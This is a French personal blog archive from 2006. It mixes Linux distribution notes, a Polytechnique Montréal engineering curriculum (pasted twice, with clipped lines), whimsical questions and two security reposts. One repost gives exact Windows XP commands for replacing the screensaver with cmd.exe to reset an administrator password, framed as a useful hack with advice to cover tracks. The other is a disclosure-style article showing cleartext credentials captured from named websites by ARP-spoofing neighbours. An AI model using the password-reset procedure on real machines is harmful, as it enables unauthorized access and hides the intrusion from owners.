Sabayon Linux 3.0RC2
Looks great.
officiels:
http://www.lxnaydesign.net/index.php?option=com_content&task=view&id=16&Itemid=27
torrent:
http://www.linuxtracker.org/torrents-details.php?id=2667&filelist=1#filelist
jeudi 24 août 2006
mercredi 23 août 2006
How to hack windows XP admin password
Truc très utile pouvant servir;
http://www.it.iitb.ac.in/~sudhir/Hacking/Win_XP_Hack.html
À tester !
How to hack windows XP admin password
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Bonus:
Magasiner en ligne c'est imprudent !http://blogs.ittoolbox.com/security/investigator/archives/look-at-all-of-these-passwords-11240
Look At All Of These Passwords!
Posted 8/21/2006 by SecurityMonkey (Information Security Investigator)
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If you use any number of popular web forums or even some commercial services like classmates.com, amazon.com, netzero.com or your provider's webmail service, you may not be aware that you're sending your credentials over the internet in the clear.
Some sites appear to secure your credentials, but they really don't. Some offer SSL sign-ins, but don't make them the default. Others don't even make an attempt to use proper SSL encryption or any attempt to obscure the credentials.
Remember the wall of sheep from DefCon? All of those people that kept logging into net resources assuming that nobody was listening? They were wrong!
Let's look at a couple of great examples of sites that have really awful security design, and see exactly how easy it is to steal credentials if you have access to the wire. These were obtained using nothing more than a linux laptop, a cable modem, ettercap (running ARP spoof and MiM gateway) and a bit of coffee.
READ: I'm posting this here, because from the sound of the comments, some people are quite confused about a number of things.
1) Yes, you CAN sniff your neighbors on a cable modem connection. Maybe not ALL, but the segment that I used allowed me to ARP-SPOOF my neighbors using ettercap.
2) Yes, you CAN sniff your neighbors on a switch. See #1.
3) I did not do any MiM attacks against SSL, only clear-text connections. HOWEVER! Ettercap CAN SNIFF SSL. Through a carefully crafted SSL cert, you can trick the user into clicking past your bogus cert and you can sniff everything over the SSL connection with ease. It's on ettercap's homepage - don't believe me, go read it!
http://http://ettercap.sourceforge.net/
If you want to follow along, you'll need an account at some of these domains. You can capture these web sessions using the sniffer of your choice. We're paying close attention to POST requests that are done over non-ssl connections.
CASE #1: NETZERO.NET
When the user logs into my.netzero.net, here's what the request looks like:
POST http://my.netzero.net/s/logon HTTP/1.0
Accept: application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://my.netzero.net/s/sp?cf=www
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: my.netzero.net
Content-Length: 120
Pragma: no-cache
Cookie: (sets cookie)
If you look further down into Content-type, you'll notice this:
Content-type: text/plain
GOTO_URL=http://my.netzero.net/s/sp&FAIL_URL=&MemberID=MYUSERID&netzero.com=netzero.com
&Password=MYPASSWORD&x=0&y=0
Content-type: text/plain
Whoops. You probably wouldn't want to login to this at a hotspot, a university, or especially DefCon!
CASE #2: Cox Webmail
Here we go again. Here's the POST:
POST http://webmail.west.cox.net/do/dologin HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://webmail.east.cox.net/do/logout?l=en-US&v=cox
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: webmail.east.cox.net
Content-Length: 129
Pragma: no-cache
Cookie:
And look-ee what's hiding in Content-type:
Content-type: text/plain
variant=cox&locale=en-US&client=html&directMessageView=&uid=&folder=&remoteAccountUID=
&login=1&account=MYUSERNAME&password=MYPASSWORD
Just imagine if you were on a Cox connection and ran an arp-spoofing attack against your neighbors. A quick instance of ettercap and you'd own your neighbors webmail accounts in a jiffy.
CASE #3: JUNO.COM
Here's our POST:
POST http://webmail.juno.com/cgi-bin/login.cgi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://webmail.juno.com/
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: webmail.juno.com
Content-Length: 50
Pragma: no-cache
Cookie:
And yet again in Content-type, we have our credentials:
LOGIN=MYUSERNAME&PASSWORD=MYPASSWORD&domain=juno.com
CASE #4: CLASSMATES.COM
Here's a lesson for classmates.com: we can give away your credentials logging IN or OUT!
Look at this logout session:
POST http://www.classmates.com/cmo/logout.jsp?_DARGS=/cmo/fragments/login.jspf HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.classmates.com/cmo/logout.jsp;jsessionid=SESSIONID?DPSLogout=true
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: www.classmates.com
Content-Length: 742
Pragma: no-cache
Cookie:
The Content-type reveals:
&/atg/userprofiling/ProfileFormHandler.cmLogin=MYUSERNAME&_D:/atg/userprofiling
/ProfileFormHandler.cmLogin=&/atg/userprofiling/ProfileFormHandler.value.password=MYPASSWORD
&_D:/atg/userprofiling/ProfileFormHandler.value.password=
CASE #5: phpwebhosting.com
Ever wonder why so many hosted websites and mail servers get mysteriously 'hacked' so easily? Hey, it's simple when you send the username, password AND the domain that the user is administering in the clear! WEEEEE!
POST http://mech.phpwebhosting.com/cgi-bin/qmailadmin HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://mech.phpwebhosting.com/cgi-bin/qmailadmin
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: mech.phpwebhosting.com
Here it comes...
do.login=Login&username=postmaster&password=MYPASSWORD&domain=MYDOMAIN.com&bleh=login
Imagine if you could snarf every admin's password on a single hosting box - a box that hosted hundreds or thousands of domains...
CASE #6: GOVST.EDU
Attention class. Today we're going to look at not only how to pass credentials in the clear, but how to completely do cookies in the most ineffective way possible!
Our POST:
POST http://gsuwebct.govst.edu/webct/ticket/ticketLogin?action=print_login&request_uri=/webct/homearea/homearea? HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://gsuwebct.govst.edu/webct/ticket/ticketLogin?action=print_login&request_uri=/webct/homearea/homearea?
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: gsuwebct.govst.edu
Content-Length: 115
Pragma: no-cache
Cookie:
(PAY CLOSE ATTENTION TO THIS LINE)
WebCTTicket=username%ENCODED%26password%ENCODED%26expiry%ENCODED%26hash%BIGASSHASH
That looked secure, right?
Now you'll never guess what goes over the wire....
request_uri=/webct/homearea/homearea?&action=webform_user&WebCT_ID=MY_ID_NUMBER
&Password=MY_CRAPPY_FOUR_DIGIT_PIN&submitbutton=Log in
**KABOOM**
CASE #7: AMAZON.COM? WHAT?
Yes, Amazon will still let you login with clear-text. Seriously. I'm not making this up.
Here's a typical POST:
POST http://www.amazon.com/exec/obidos/flex-sign-in-done/NUMBER HTTP/1.0
Accept: */*
Referer: http://www.amazon.com/exec/obidos/flex-sign-in/ref=BLAHBLAH?%5Fencoding=UTF8
&response=wheres-my-stuff&method=POST&opt=a
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: www.amazon.com
Content-Length: 198
Pragma: no-cache
Cookie:
Looks good so far... but now look in Content-type text:
_encoding=UTF8&method=POST&opt=a&page=help/ya-sign-in-secure.html&response=wheres-my-stuff
&email=myemail@pantsflappinginthewind.com&action=sign-in&next-page=help/ya-register-secure.html
&password=MY_PASSWORD_FLAPPING_IN_THE_WIND&x=138&y=9
Content-type: text/plain
Yikes.
Case #8: United States Department of... COMMERCE?
Roam over to www.deanumber.com. Upon login, your POST will look like this:
POST http://www.deanumber.com/Default.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.deanumber.com/
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)
Host: www.deanumber.com
Content-Length: 122
Pragma: no-cache
Cookie: ASPSESSIONIDACADDRCB=SOMESESSIONIDNUM; MonitorHeight=600; MonitorWidth=800; MonitorResolution=600x800; MonitorColor=32
And wagging around in Content-type text is:
SessionID={SESSION_ID}&FolderID=1&Action=CheckLogin&FUserID=MY_USER_ID&Password=MY_PASSWORD
&x=0&y=0
This is only a VERY small sampling of the more than 70 sites that I've researched that pass user credentials over the wire in clear text.
Lessons learned:
1) Pay attention when you're signing in to any website with credentials. Are you really logging in over SSL?
2) Adhere to common-sense practices when accessing websites over a possibly hostile network (hotspot, airport, your neighbor's misconfigured AP, etc.).
3) Encourage these websites to implement proper data security practices. If you don't, they may only decide to do so after a serious incident happens.
Chief
mercredi 16 août 2006
cour à faire. génie informatique - concentration multimédia
bac:
www.polymtl.ca/etudes/doc/bac/Annuaire_Bac.pdf
spécialisation ergonome de l'interface: PAGE 69
www.polymtl.ca/etudes/cs/Annuaire_ES.pdf
Le programme de Génie informatique
LE RÔLE DE L'INGÉNIEUR INFORMATICIEN
Les équipements et les appareils technologiques modernes ont des compo-
santes logicielles et matérielles parfois si intimement liées qu'il est presque
impossible de les dissocier : appareils de mesure et de captage de données,
contrôle de procédés, systèmes d'injection électronique et de carburant,
systèmes de commandes de vol des avions, etc. D'autre part, notre société
est de plus en plus axée sur l'information : partout, on trouve des ordinateurs
qui communiquent entre eux sur des réseaux de toutes sortes. Les logiciels
deviennent de plus en plus complexes, et leur création tout comme leur entre-
tien requièrent des compétences particulières. Ce sont les ingénieurs informa-
ticiens qui doivent intégrer des connaissances et des habiletés liées tant au
matériel qu'au logiciel, en vue d'attaquer des problèmes et d'y trouver des
solutions efficaces, performantes, rentables et socialement acceptables. Ils
s'intéressent à l'ordinateur en tant qu'outil. En considérant l'aspect matériel et
l'aspect logiciel, ils veillent à la conception et à l'implantation de systèmes
servant à recevoir, emmagasiner, traiter, transmettre, présenter et utiliser
l'information.
L'ÉVOLUTION DE LA FORMATION ET DE LA PROFESSION
De plus en plus, les employeurs recherchent des ingénieurs qui possèdent de
bonnes connaissances technologiques et scientifiques, qui ont une approche
axée sur la résolution de problèmes et sur la rentabilité, et qui sont conscients
des incidences sociales, économiques et écologiques de leurs projets. La
formation élargie offerte par Polytechnique va dans ce sens et prépare en
outre les futurs diplômés à une gamme plus vaste d'emplois, qui, autrefois,
n'étaient pas occupés par des ingénieurs. L'ingénieur en informatique est
appelé à faire partie d'équipes d'ingénierie mutidisciplinaires, et c'est sa
formation générale d'ingénieur, alliée à son expertise en génie informatique,
qui fait sa force.
LA FORMATION DE L'INGÉNIEUR INFORMATICIEN
La formation en génie informatique s'intéresse à la conception et à l'implanta-
tion de systèmes, constitués de matériel et de logiciel, ayant pour fonction de
capter, stocker, traiter, transmettre, contrôler, présenter et, finalement, utiliser
l'information, le tout dans un contexte pragmatique d'application à des pro-
blèmes du monde réel.
La filière «classique» vise une formation large, elle permet à l’étudiant de
choisir une orientation thématique. Trois concentrations ciblent plus particuliè-
rement le marché du travail dans les domaines de l'industrie (Informatique
embarquée), du graphisme et du divertissement (Multimédia) et de la réseau-
tique (Réseaux et informatique mobile).
Note particulière au programme
Le département recommande que tous les étudiants inscrits en génie informa-
tique aient un ordinateur personnel dès le début de leurs études. Le départe-
ment suggère également que cet ordinateur soit un ordinateur portatif.
Note : les cours de la première année de génie informatique et de génie
logiciel sont identiques.
Le cheminement typique est le suivant (E = études, S = stage. E/S = stage ou
études)
Année 1 Année 2 Année 3 Année 4
Aut Hiv Été Aut Hiv Été Aut Hiv Été Aut Hiv
1 2 3 4 5 6 7 8
E E E E E/S E/S E/S S E E
Symboles et abréviations utilisés
• cr. = nombre de crédits
• cours en italique : projet intégrateur
PART2
Les cheminements recommandés sont disponibles à l’adresse Internet
http://www.polymtl.ca/etudes/bc/cheminement/informatique.php.
Liste des cours obligatoires
Sigle Titre du cours cr.
ELE1600A Circuits électriques 3
ELE2302 Circuits électroniques 3
ELE3703 Introduction aux communications numériques 3
INF1005C Programmation procédurale 3
INF1010 Programmation orientée objet 3
INF1040 Introduction à l’ingénierie informatique 3
INF1500 Logique des systèmes numériques 3
INF1600 Architecture des micro-ordinateurs 3
INF1995 Projet initial en génie informatique et travail en équipe 4
INF2010 Structure de données et algorithmes 3
INF2610 Noyau d’un système d’exploitation 3
INF2705 Infographie 3
INF2990 Projet de logiciel graphique interactif 4
INF3405 Réseaux informatiques 3
INF3500 Conception et réalisation de systèmes numériques 3
INF3610 Systèmes embarqués 3
INF3990 Projet de conception logiciel/matériel 4
INF400x Communication écrite et orale 1
INF-STO1 Stage obligatoire (4 mois)
LOG1000 Ingénierie logicielle 3
LOG2410 Conception logicielle 3
LOG2810 Structures discrètes 3
MTH1006 Algèbre linéaire 2
MTH1101 Calcul I 2
MTH1102 Calcul II 2
MTH1110 Équations différentielles ordinaires 2
MTH1210 Méthodes numériques pour équations diff. ordinaires 1
MTH2120 Analyse appliquée 3
MTH2302D Probabilités et statistique 3
PHS1101B Mécanique pour ingénieurs 3
PHS1102 Champs électromagnétiques 3
SSH5100* Sociologie de la technologie 3
SSH5201 Économique de l’ingénieur 3
SSH5501 Éthique appliquée en ingénierie 2
Cours obligatoires93
* une des versions A, B ou C au choix
PART3
A CONCENTRATION MULTIMÉDIA
L
Cette concentration fournit une connaissance spécialisée pour le domaine du
développement d'applications en média numérique. Elle est orientée vers
deux secteurs d'application : les applications de graphismes et d'animation 2D
et 3D et le secteur du divertissement interactif. Ces secteurs sont en crois-
sance soutenue depuis plusieurs années et offrent de très bonnes perspecti-
ves dans l'industrie. En plus de compléter ses connaissances de base en
génie informatique/logiciel avec des notions spécialisées en multimédia, les
étudiants pourront mettre en pratique leurs apprentissages à travers un cours
projet.
Responsable : N..., département de génie informatique
Modalités d’inscription. La concentration « Multimédia » n'est pas contin-
gentée. L'étudiant informe le Bureau des affaires académiques de son
choix.
Note : la liste des cours de cette concentration n’est pas définitive.
Sigle Titre du cours cr.
Cours obligatoires (21 crédits)
INF4702 Complément d’infographie 3
INF4710 Introduction aux techniques multimédia 3
INF4715 Ingénierie des applications multimédia interactives 3
LOG2420 Conception des interfaces utilisateurs 3
PHS4xxx Physique du jeu (à venir) 3
INF4991 Projet final de conception en multimédia 6
Cours à option (6 crédits)
INF3710 Fichiers et bases de données 3
INF4215 Introduction à l’intelligence artificielle 3
INF47xx Traitement numérique d’images 3
INF47yy Systèmes de vision 3D 3
INF8420 Sécurité informatique 3
INF8701 Simulation à événements discrets 3
Cours spécialisés de la concentration 27
========================================================
Diplôme d'études supérieures spécialisées (DESS)
en ERGONOMIE DU LOGICIEL
Responsables
Monsieur Michel Desmarais (514) 340-4711, poste 3914, courriel :
michel.desmarais@polymtl.ca, professeur au département de génie informatique.
Monsieur Jean-Marc Robert (514) 340-4711, poste 4566, courriel : jean-
marc.robert@polymtl.ca, professeur au département de mathématiques et de génie
ndustriel.
But du programme
e programme a pour but de permettre aux étudiants d'acquérir une formation
multidisciplinaire de haut niveau en ergonomie du logiciel. Cette formation vise
'intégration de deux disciplines de base, l'ergonomie cognitive et l'informatique (ou le
énie logiciel) et porte sur l'étude des interactions humains-ordinateur sous des angles
rgonomique et informatique. Elle prépare les étudiants à faire l'analyse, la conception,
'évaluation et la maintenance de différents systèmes humains-ordinateur.
Diplôme
e programme conduit à l'obtention du Diplôme d'études supérieures spécialisées en
rgonomie du logiciel (DESS).
Dispositions particulières
e programme d'études est offert conjointement par le département de mathématiques et
e génie industriel et le département de génie informatique.
=============================
Conditions d'admission
Être détenteur d'un baccalauréat en ingénierie, en informatique ou dans une autre
discipline scientifique pertinente ayant permis d'acquérir une bonne formation de
base en informatique, en ergonomie des interfaces ou dans les sciences cognitives;
et
avoir obtenu une moyenne cumulative d'au moins 2,5 (système de 4 points) dans ses
er
cycle, ou l'équivalent agréé par l'École.
études de 1
Un candidat peut demander une dérogation à cette règle en présentant à l'appui de sa
demande un dossier mettant en évidence ses aptitudes à la poursuite d'études de
deuxième cycle (expérience professionnelle pertinente, études subséquentes à
l'obtention de son grade de premier cycle).
==============================================================
Structure du programme
Le programme comporte 30 crédits se répartissant comme suit :
Crédits
Cours obligatoires 24
Cours au choix 6
Nota Cours préalables selon les besoins : Cours de base en programmation (INF1005-
Programmation procédurale)
Cours d'introduction au génie informatqiue (équivalent : IN500
Ordinateurs
).
systèmes et réseaux
Liste des cours
Module Ergonomie cognitive
IND6402 Interfaces humains-ordinateur
IND6406 Ergonomie cognitive
IND6409 Interfaces humains-ordinateur spécialisées
IND6412 Ergonomie des sites Web
Plus un cours au choix parmi les deux suivants :
IND6407 Analyse ergonomique du travail mental
IND6408 Ergonomie du contrôle de processus
Module Génie logiciel
INF6301 Qualité et mesures du logiciel
(1)
INF6701 Modèles de bases de données
INF4201 Les systèmes experts : concepts et réalisation
LOG3700 Analyse et conception de logiciels par objets
Plus un cours au choix en génie logiciel.
1)
Ce cours peut être remplacé par INF4700 Bases de données.
Voir aussi...
Règlements généraux des études supérieures - SECTION 1
Corps enseignant- SECTION 2
Description des cours - SECTION 4
www.polymtl.ca/etudes/doc/bac/Annuaire_Bac.pdf
spécialisation ergonome de l'interface: PAGE 69
www.polymtl.ca/etudes/cs/Annuaire_ES.pdf
Le programme de Génie informatique
LE RÔLE DE L'INGÉNIEUR INFORMATICIEN
Les équipements et les appareils technologiques modernes ont des compo-
santes logicielles et matérielles parfois si intimement liées qu'il est presque
impossible de les dissocier : appareils de mesure et de captage de données,
contrôle de procédés, systèmes d'injection électronique et de carburant,
systèmes de commandes de vol des avions, etc. D'autre part, notre société
est de plus en plus axée sur l'information : partout, on trouve des ordinateurs
qui communiquent entre eux sur des réseaux de toutes sortes. Les logiciels
deviennent de plus en plus complexes, et leur création tout comme leur entre-
tien requièrent des compétences particulières. Ce sont les ingénieurs informa-
ticiens qui doivent intégrer des connaissances et des habiletés liées tant au
matériel qu'au logiciel, en vue d'attaquer des problèmes et d'y trouver des
solutions efficaces, performantes, rentables et socialement acceptables. Ils
s'intéressent à l'ordinateur en tant qu'outil. En considérant l'aspect matériel et
l'aspect logiciel, ils veillent à la conception et à l'implantation de systèmes
servant à recevoir, emmagasiner, traiter, transmettre, présenter et utiliser
l'information.
L'ÉVOLUTION DE LA FORMATION ET DE LA PROFESSION
De plus en plus, les employeurs recherchent des ingénieurs qui possèdent de
bonnes connaissances technologiques et scientifiques, qui ont une approche
axée sur la résolution de problèmes et sur la rentabilité, et qui sont conscients
des incidences sociales, économiques et écologiques de leurs projets. La
formation élargie offerte par Polytechnique va dans ce sens et prépare en
outre les futurs diplômés à une gamme plus vaste d'emplois, qui, autrefois,
n'étaient pas occupés par des ingénieurs. L'ingénieur en informatique est
appelé à faire partie d'équipes d'ingénierie mutidisciplinaires, et c'est sa
formation générale d'ingénieur, alliée à son expertise en génie informatique,
qui fait sa force.
LA FORMATION DE L'INGÉNIEUR INFORMATICIEN
La formation en génie informatique s'intéresse à la conception et à l'implanta-
tion de systèmes, constitués de matériel et de logiciel, ayant pour fonction de
capter, stocker, traiter, transmettre, contrôler, présenter et, finalement, utiliser
l'information, le tout dans un contexte pragmatique d'application à des pro-
blèmes du monde réel.
La filière «classique» vise une formation large, elle permet à l’étudiant de
choisir une orientation thématique. Trois concentrations ciblent plus particuliè-
rement le marché du travail dans les domaines de l'industrie (Informatique
embarquée), du graphisme et du divertissement (Multimédia) et de la réseau-
tique (Réseaux et informatique mobile).
Note particulière au programme
Le département recommande que tous les étudiants inscrits en génie informa-
tique aient un ordinateur personnel dès le début de leurs études. Le départe-
ment suggère également que cet ordinateur soit un ordinateur portatif.
Note : les cours de la première année de génie informatique et de génie
logiciel sont identiques.
Le cheminement typique est le suivant (E = études, S = stage. E/S = stage ou
études)
Année 1 Année 2 Année 3 Année 4
Aut Hiv Été Aut Hiv Été Aut Hiv Été Aut Hiv
1 2 3 4 5 6 7 8
E E E E E/S E/S E/S S E E
Symboles et abréviations utilisés
• cr. = nombre de crédits
• cours en italique : projet intégrateur
PART2
Les cheminements recommandés sont disponibles à l’adresse Internet
http://www.polymtl.ca/etudes/bc/cheminement/informatique.php.
Liste des cours obligatoires
Sigle Titre du cours cr.
ELE1600A Circuits électriques 3
ELE2302 Circuits électroniques 3
ELE3703 Introduction aux communications numériques 3
INF1005C Programmation procédurale 3
INF1010 Programmation orientée objet 3
INF1040 Introduction à l’ingénierie informatique 3
INF1500 Logique des systèmes numériques 3
INF1600 Architecture des micro-ordinateurs 3
INF1995 Projet initial en génie informatique et travail en équipe 4
INF2010 Structure de données et algorithmes 3
INF2610 Noyau d’un système d’exploitation 3
INF2705 Infographie 3
INF2990 Projet de logiciel graphique interactif 4
INF3405 Réseaux informatiques 3
INF3500 Conception et réalisation de systèmes numériques 3
INF3610 Systèmes embarqués 3
INF3990 Projet de conception logiciel/matériel 4
INF400x Communication écrite et orale 1
INF-STO1 Stage obligatoire (4 mois)
LOG1000 Ingénierie logicielle 3
LOG2410 Conception logicielle 3
LOG2810 Structures discrètes 3
MTH1006 Algèbre linéaire 2
MTH1101 Calcul I 2
MTH1102 Calcul II 2
MTH1110 Équations différentielles ordinaires 2
MTH1210 Méthodes numériques pour équations diff. ordinaires 1
MTH2120 Analyse appliquée 3
MTH2302D Probabilités et statistique 3
PHS1101B Mécanique pour ingénieurs 3
PHS1102 Champs électromagnétiques 3
SSH5100* Sociologie de la technologie 3
SSH5201 Économique de l’ingénieur 3
SSH5501 Éthique appliquée en ingénierie 2
Cours obligatoires93
* une des versions A, B ou C au choix
PART3
A CONCENTRATION MULTIMÉDIA
L
Cette concentration fournit une connaissance spécialisée pour le domaine du
développement d'applications en média numérique. Elle est orientée vers
deux secteurs d'application : les applications de graphismes et d'animation 2D
et 3D et le secteur du divertissement interactif. Ces secteurs sont en crois-
sance soutenue depuis plusieurs années et offrent de très bonnes perspecti-
ves dans l'industrie. En plus de compléter ses connaissances de base en
génie informatique/logiciel avec des notions spécialisées en multimédia, les
étudiants pourront mettre en pratique leurs apprentissages à travers un cours
projet.
Responsable : N..., département de génie informatique
Modalités d’inscription. La concentration « Multimédia » n'est pas contin-
gentée. L'étudiant informe le Bureau des affaires académiques de son
choix.
Note : la liste des cours de cette concentration n’est pas définitive.
Sigle Titre du cours cr.
Cours obligatoires (21 crédits)
INF4702 Complément d’infographie 3
INF4710 Introduction aux techniques multimédia 3
INF4715 Ingénierie des applications multimédia interactives 3
LOG2420 Conception des interfaces utilisateurs 3
PHS4xxx Physique du jeu (à venir) 3
INF4991 Projet final de conception en multimédia 6
Cours à option (6 crédits)
INF3710 Fichiers et bases de données 3
INF4215 Introduction à l’intelligence artificielle 3
INF47xx Traitement numérique d’images 3
INF47yy Systèmes de vision 3D 3
INF8420 Sécurité informatique 3
INF8701 Simulation à événements discrets 3
Cours spécialisés de la concentration 27
========================================================
Diplôme d'études supérieures spécialisées (DESS)
en ERGONOMIE DU LOGICIEL
Responsables
Monsieur Michel Desmarais (514) 340-4711, poste 3914, courriel :
michel.desmarais@polymtl.ca, professeur au département de génie informatique.
Monsieur Jean-Marc Robert (514) 340-4711, poste 4566, courriel : jean-
marc.robert@polymtl.ca, professeur au département de mathématiques et de génie
ndustriel.
But du programme
e programme a pour but de permettre aux étudiants d'acquérir une formation
multidisciplinaire de haut niveau en ergonomie du logiciel. Cette formation vise
'intégration de deux disciplines de base, l'ergonomie cognitive et l'informatique (ou le
énie logiciel) et porte sur l'étude des interactions humains-ordinateur sous des angles
rgonomique et informatique. Elle prépare les étudiants à faire l'analyse, la conception,
'évaluation et la maintenance de différents systèmes humains-ordinateur.
Diplôme
e programme conduit à l'obtention du Diplôme d'études supérieures spécialisées en
rgonomie du logiciel (DESS).
Dispositions particulières
e programme d'études est offert conjointement par le département de mathématiques et
e génie industriel et le département de génie informatique.
=============================
Conditions d'admission
Être détenteur d'un baccalauréat en ingénierie, en informatique ou dans une autre
discipline scientifique pertinente ayant permis d'acquérir une bonne formation de
base en informatique, en ergonomie des interfaces ou dans les sciences cognitives;
et
avoir obtenu une moyenne cumulative d'au moins 2,5 (système de 4 points) dans ses
er
cycle, ou l'équivalent agréé par l'École.
études de 1
Un candidat peut demander une dérogation à cette règle en présentant à l'appui de sa
demande un dossier mettant en évidence ses aptitudes à la poursuite d'études de
deuxième cycle (expérience professionnelle pertinente, études subséquentes à
l'obtention de son grade de premier cycle).
==============================================================
Structure du programme
Le programme comporte 30 crédits se répartissant comme suit :
Crédits
Cours obligatoires 24
Cours au choix 6
Nota Cours préalables selon les besoins : Cours de base en programmation (INF1005-
Programmation procédurale)
Cours d'introduction au génie informatqiue (équivalent : IN500
Ordinateurs
).
systèmes et réseaux
Liste des cours
Module Ergonomie cognitive
IND6402 Interfaces humains-ordinateur
IND6406 Ergonomie cognitive
IND6409 Interfaces humains-ordinateur spécialisées
IND6412 Ergonomie des sites Web
Plus un cours au choix parmi les deux suivants :
IND6407 Analyse ergonomique du travail mental
IND6408 Ergonomie du contrôle de processus
Module Génie logiciel
INF6301 Qualité et mesures du logiciel
(1)
INF6701 Modèles de bases de données
INF4201 Les systèmes experts : concepts et réalisation
LOG3700 Analyse et conception de logiciels par objets
Plus un cours au choix en génie logiciel.
1)
Ce cours peut être remplacé par INF4700 Bases de données.
Voir aussi...
Règlements généraux des études supérieures - SECTION 1
Corps enseignant- SECTION 2
Description des cours - SECTION 4
lundi 14 août 2006
dimanche 13 août 2006
samedi 12 août 2006
J'oublie Ubuntu
J'ai essayé Ubuntu 64. Je l'ai ''cassé'' en 15 minutes... en mettant à jour les paquets/programmes...
Dommage c'était en 64 bits et je m'attendais à quelque chose d'intelligent , qui ne me laisserait pas tout casser en fait.
Mais j'avoue que ce site m'a donné de nouveaux arguments pour éviter la ''mode Ubuntu'':
ubuntu-vs-debian-what-canonical-doesnt-want-you-to-know
Edit: Lien Mort.
Donc l'argument debian reste, mais pas ubuntu.
Dommage c'était en 64 bits et je m'attendais à quelque chose d'intelligent , qui ne me laisserait pas tout casser en fait.
Mais j'avoue que ce site m'a donné de nouveaux arguments pour éviter la ''mode Ubuntu'':
ubuntu-vs-debian-what-canonical-doesnt-want-you-to-know
Edit: Lien Mort.
Donc l'argument debian reste, mais pas ubuntu.
Questions bizarres..
Je pense à des trucs bizarres;
les poissons boivent-ils ?
Une pipe à fumer, est-ce que ça brûle, si c'est pas le cas, pourquoi ?
Est que les manchots arrivent à fumer la cigarette sans se brûler ?
Si on descend du singe, est que certains y remontent et puisque tout ce qui monte redescent, ceux qui rredescendent du singe seront-ils plus humains ?
Si un jour entrer dans le cyberespace par la pensée, que va t'il se passer si on ''tombe dans la lune'' ?
Est-ce que Jean-Claude va penser à me passer sa vieille gforce (avec l'adapteur svp) pour mes expériences ?
les poissons boivent-ils ?
Une pipe à fumer, est-ce que ça brûle, si c'est pas le cas, pourquoi ?
Est que les manchots arrivent à fumer la cigarette sans se brûler ?
Si on descend du singe, est que certains y remontent et puisque tout ce qui monte redescent, ceux qui rredescendent du singe seront-ils plus humains ?
Si un jour entrer dans le cyberespace par la pensée, que va t'il se passer si on ''tombe dans la lune'' ?
Est-ce que Jean-Claude va penser à me passer sa vieille gforce (avec l'adapteur svp) pour mes expériences ?
mardi 8 août 2006
Le Monstre
Ça permet d'avoir une micromap .
Explications pour le faire :
http://wikimapiablog.blogspot.com/2006/08/how-to-add-google-map-to-any-web-page.html
lundi 7 août 2006
Quel distro choisir ? Casse-tête en construction...
Je vais péter les plombs.
Je cherche une distribution basée Debian , AMD64, supportant Xgl ou AiXgl supportant vraiment le clavier canadien français standard (KB=cf) et multilingue .
